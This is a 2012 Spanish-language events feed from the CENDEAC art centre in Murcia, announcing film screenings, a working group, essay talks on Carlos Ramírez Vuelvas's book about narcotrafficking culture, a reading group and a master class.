    MEMORIAS CELULOIDES. II JORNADAurn:uuid:003df984-16a7-53da-ba5a-573c867f84b62012-05-21T13:12:59Z Este sábado, día 19, el proyecto Memorias Celuloides cita a los amantes del cine familiar y amateur en la Noche de los Museos de Cartagena.

    Os esperamos en La Casa del Estudiante de Cartagena a las 22.30h.

    Memorias Celuloides es un proyecto organizado por el CENDEAC, Medusa Mediación y Retrovisor que consiste en la recuperación, catalogación y digitalización de la memoria de la Región de Murcia a través de su material fílmico. Del mismo modo, el proyecto está orientado a generar encuentros para su visionado público e invitar a artistas cuyo trabajo está relacionado con la memoria filmica y los modos de hacer que implica el celuloide.

    Al comienzo a la velada el Circo de la Memoria impartirá una charla-proyección titulada Contra la obsolescencia de los medios. Durante la misma se mostrarán trabajos en los que la utilización de unos medios que suponemos obsoletos adquieren sentido para "la construcción de una memoria futura".

    A continuación se mostrarán las películas familiares y amateurs seleccionadas de la segunda convocatoria de este proyecto.

    ]]>
    Grupo de trabajo CIUDAD Y CIUDADANÍAurn:uuid:4bfb93a0-3cf1-5e6b-882b-3b3dbe68fd422012-05-15T13:37:10ZGrupo de Trabajo  

    11 de abril, a las 18h30, CENDEAC

    Reunión del grupo de trabajo CIUDAD Y CIUDADANÍA

    Podéis seguir la actividad del grupo de trabajo en su site, a través de su perfil facebook o asistiendo a algunas de las reuniones directamente (cada dos semanas en la biblioteca del CENDEAC, consultar el calendario)

    Si quieres saber más sobre los grupos de trabajo que ya están en marcha, o quieres hablar con alguien antes de acercarte a una de las sesiones, puedes llamar al CENDEAC durante nuestro horario de oficina o escribir a comunicacion@cendeac.net

    ]]>
    D.Nuevo Ensayo. Encuentros con jóvenes ensayistas. Carlos Ramírez Vuelvasurn:uuid:5789ec50-21d6-5949-a34a-f4587299eaae2012-05-15T13:36:54ZConferencias 10 de mayo de 2012: Mexican drugs: cultura popular y narcotráfico (Ed. Lengua de Trapo), Carlos Ramírez Vuelvas.

    17.00 - 19.00 Conferencias de Luís Martínez Andrade y César Burgos.

    19.15 - 21.00 Conferencia de Carlos Ramírez Vuelvas y mesa de debate.

    Hemiciclo de Letras de la Universidad de Murcia. Campus de la Merced

     

    Grupo de lectura: jueves, 3 de mayo, 19.00 h. CENDEAC >>>

    Proyección de la película Traffic: miércoles, 9 de mayo de 2012. Filmoteca Regional >>>

    Carlos Ramírez Vuelvas (México, 1981) realiza estudios de doctorado en Letras hispanoamericanas por la Universidad Complutense de Madrid. Es autor de los libros de ensayo Los rostros del héroe en la caverna (2009) y Full zone (2010). También ha publicado los libros de poesía Ruleta rusa (2007), Calíope baila con el poeta ebrio (2009) y Nueva tropicalia(2010).

       

       

     

     

    Para más información:

    GUÍA DE LECTURA (en la que podeis encontrar material adicional y artículos del autor y sus referentes)

     

    Podéis seguir esta sesión en directo en streaming a través de la tv-on line de la Universidad de Murcia (http://tv.um.es/).

     

    D.Nuevo Ensayoes un proyecto concebido y organizado por CENDEAC (Centro de Documentación y Estudios Avanzados de Arte Contemporáneo) y ASEFI (Asociación de Estudiantes de Filosofía), cuenta con el apoyo de la librería Diego Marín y la Universidad de Murcia.

    ]]>
    D.Nuevo Ensayo. Proyección TRAFFICurn:uuid:8c578be3-d777-5b5e-a915-15e8dff5ed862012-05-15T13:36:48Z Proyeccion: miércoles, 9 de mayo, 21h, Filmoteca Regional

    Con ocasión de la segunda sesión de D.NUEVO ENSAYO. Encuentros con jóvenes ensayistas, donde abordaremos el texto de Carlos Ramírez Mexican Drugs: cultura popular y narcotráfico, hemos planeado el visionado en la Filmoteca de una película relacionada con la conferencia de Carlos: Traffic. Esperamos con ello poder adentrarnos en el universo que Carlos Ramírez nos presenta su libro y dar a conocer sus ideas y el proyecto más allá de las lecturas y las conferencias.

     

     

    D.Nuevo Ensayoes un proyecto concebido y organizado por CENDEAC (Centro de Documentación y Estudios Avanzados de Arte Contemporáneo) y ASEFI (Asociación de Estudiantes de Filosofía), cuenta con el apoyo de la librería Diego Marín y la Universidad de Murcia.

    ]]>
    D.Nuevo Ensayo. Grupo de lectura. Carlos Ramírez Vuelvasurn:uuid:dfa13248-1dbd-545f-b742-d02635c350832012-05-15T13:36:41Z Grupo de lectura: jueves, 3 de mayo de 2012

       

     

    Con ocasión de la segunda sesión de D.NUEVO ENSAYO. Encuentros con jóvenes ensayistas, convocamos un grupo de lectura para trabajar mejor y con mayor profundidad el texto que no ocupa: Mexican Drugs, cultura popular y narcotráfico, de Carlos Ramírez. 

    Este grupo servirá para conocer mejor el texto y compartir impresiones con otras personas interesadas, pero también para formular preguntas al autor de cara al debate del día del encuentro (jueves, 10 de mayo) y también para organizar una pequeña entrevista personal que será grabada. 

    Igualmente la página del proyecto (https://www.facebook.com/DNuevoEnsayo) es también un lugar donde podemos ir realizando preguntas, consideraciones, abrir debates, etc.

     

     

    Para más información:

    GUÍA DE LECTURA (en la que podeis encontrar material adicional y artículos del autor y sus referentes)

     

    Podéis seguir la sesión de jueves 9 de mayo en directo en streaming a través de la tv-on line de la Universidad de Murcia (http://tv.um.es/).

     

    D.Nuevo Ensayoes un proyecto concebido y organizado por CENDEAC (Centro de Documentación y Estudios Avanzados de Arte Contemporáneo) y ASEFI (Asociación de Estudiantes de Filosofía), cuenta con el apoyo de la librería Diego Marín y la Universidad de Murcia.

    ]]>
    Fisuras fílmicas. Óscar Pérez. Clase magistralurn:uuid:a4f405a7-a512-57b5-a3aa-bb8014e2ee4e2012-05-15T13:36:34ZConferencias Clase magistral con Óscar Pérez : jueves, 26 de abril, 19h.30, CENDEAC

    Óscar Pérez impartirá una clase magistral sobre su metodología de trabajo, sus intereses culturales y el proceso de creación cinematográfico.

    GUÍA DE LECTURA (en la que podeis encontrar material adicional para la clase magistral)

     

     

    Os recordamos que la clase magistral de Óscar Pérez podrá seguirse en directo a través de nuestro canal USTREAM.

     


    ]]>